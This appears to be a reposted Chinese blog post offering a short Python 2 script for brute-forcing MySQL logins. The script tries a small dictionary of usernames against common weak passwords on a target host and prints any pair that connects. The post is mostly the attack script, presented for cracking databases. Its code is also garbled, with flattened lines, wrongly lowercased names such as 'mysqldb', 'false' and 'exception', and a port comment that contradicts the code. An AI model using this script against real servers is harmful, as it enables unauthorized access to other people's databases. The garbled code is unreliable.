Python版Mysql爆破小脚本
程序员文章站
2023-12-17 12:42:10
mysql python版本爆破小脚本,需要安装python插件mysql-python.exe,可以看出代码量很少,(注意:里用户名和密码都是类似字典。用法:保存代码为m...
mysql python版本爆破小脚本,需要安装python插件mysql-python.exe,可以看出代码量很少,(注意:里用户名和密码都是类似字典。用法:保存代码为mysqldatabaseblasting.py,cmd切换到 mysqldatabaseblasting.py路径下,并 执行 mysqldatabaseblasting.py即可开始破解 )
import mysqldb #coding=gbk #目标ip mysql数据库必须开启3360远程登陆端口 mysql_username = ('root','test', 'admin', 'user')#账号字典 common_weak_password = ('','123456','test','root','admin','user')#密码字典 success = false host = "127.0.0.1"#数据库ip地址 port = 3306 for username in mysql_username: for password in common_weak_password: try: db = mysqldb.connect(host, username, password) success = true if success: print username, password except exception, e: pass